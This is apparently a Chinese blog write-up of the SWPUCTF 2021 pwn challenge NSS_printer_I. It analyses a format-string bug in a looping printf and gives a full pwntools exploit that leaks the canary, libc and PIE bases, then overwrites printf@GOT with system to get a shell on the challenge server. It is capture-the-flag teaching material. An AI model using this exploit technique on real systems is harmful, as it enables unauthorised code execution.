Featured image of post [SWPUCTF 2021 新生赛]NSS_printer_I wp

[SWPUCTF 2021 新生赛]NSS_printer_I wp

字数: 666

好久没做格式化字符串的题,略显生疏,还被 PIE 卡了下。

题面

ubuntu16
给二进制文件。

分析

checksec 查看保护:

1
2
3
4
5
6
7
8
❯ pwn checksec ./附件
[*] '/data/project/ctf-repo/pwn/nssctf/SWPUCTF_2021_新 生赛-NSS_printer_I/附件'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

基本全开……
ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(a1: argc, a2: argv, a3: envp);
  while ( 1 )
  {
    puts(s: "======================================");
    puts(s: "=====welcone to use NSS printer!======");
    printf(format: "input what you want to say: ");
    read(fd: 0, buf, nbytes: 0x64u);
    printf(format: "you said:");
    printf(format: buf);
  }
}

仅此,死循环的格式化字符串利用。
没有什么函数和字符串可以用的。

利用

有无限格式化字符串其实就够用了。
偏移量 6。
首先对漏洞 printf 打断点查看栈空间:

1
2
3
b *main+130
c
telescope

据此可以泄漏 canary 值、libc 基址和 elf 基址,分别的偏移量是 19, 21, 25。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# offset 6
payload = b"%19$p%21$p^^%25$p&&" # canary, csu + 140, main
io.recvuntil(b"you want to say: ")
io.sendline(payload)
canary = int(io.recvuntil(b"00")[-16:], 16)
print("canary =", hex(canary))
libc_base = int(io.recvuntil(b"^^")[:-2], 16) - 240 - libc.sym["__libc_start_main"]
print("libc base address =", hex(libc_base))
main = int(io.recvuntil(b"&&")[:-2], 16)
elf_base = main - 0xa14
print("main =", hex(main))
system = libc_base + libc.sym["system"]
printf_got = elf_base + elf.got["printf"]

这道题的关键在于 PIE,其实后面的劫持 printf@got 写入 system 没什么问题,直接 fmtstr_payload 写 short 即可。关键在于因为有 PIE 所以需要通过 main 地址拿到 elf 基址以此得到真实的 printf@got 地址。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

#io = process("./附件")
io = remote("node4.anna.nssctf.cn", 23103)
elf = ELF("./附件")
libc = ELF("./libc.so.6")

context.arch = "amd64"
context.os = "linux"

# offset 6
payload = b"%19$p%21$p^^%25$p&&" # canary, csu + 140, main
io.recvuntil(b"you want to say: ")
io.sendline(payload)
canary = int(io.recvuntil(b"00")[-16:], 16)
print("canary =", hex(canary))
libc_base = int(io.recvuntil(b"^^")[:-2], 16) - 240 - libc.sym["__libc_start_main"]
print("libc base address =", hex(libc_base))
main = int(io.recvuntil(b"&&")[:-2], 16)
elf_base = main - 0xa14
print("main =", hex(main))
system = libc_base + libc.sym["system"]
printf_got = elf_base + elf.got["printf"]


payload = fmtstr_payload(6, {printf_got:system}, write_size="short")
io.recvuntil(b"you want to say: ")
io.sendline(payload)
io.sendline(b"/bin/sh\x00")

io.interactive()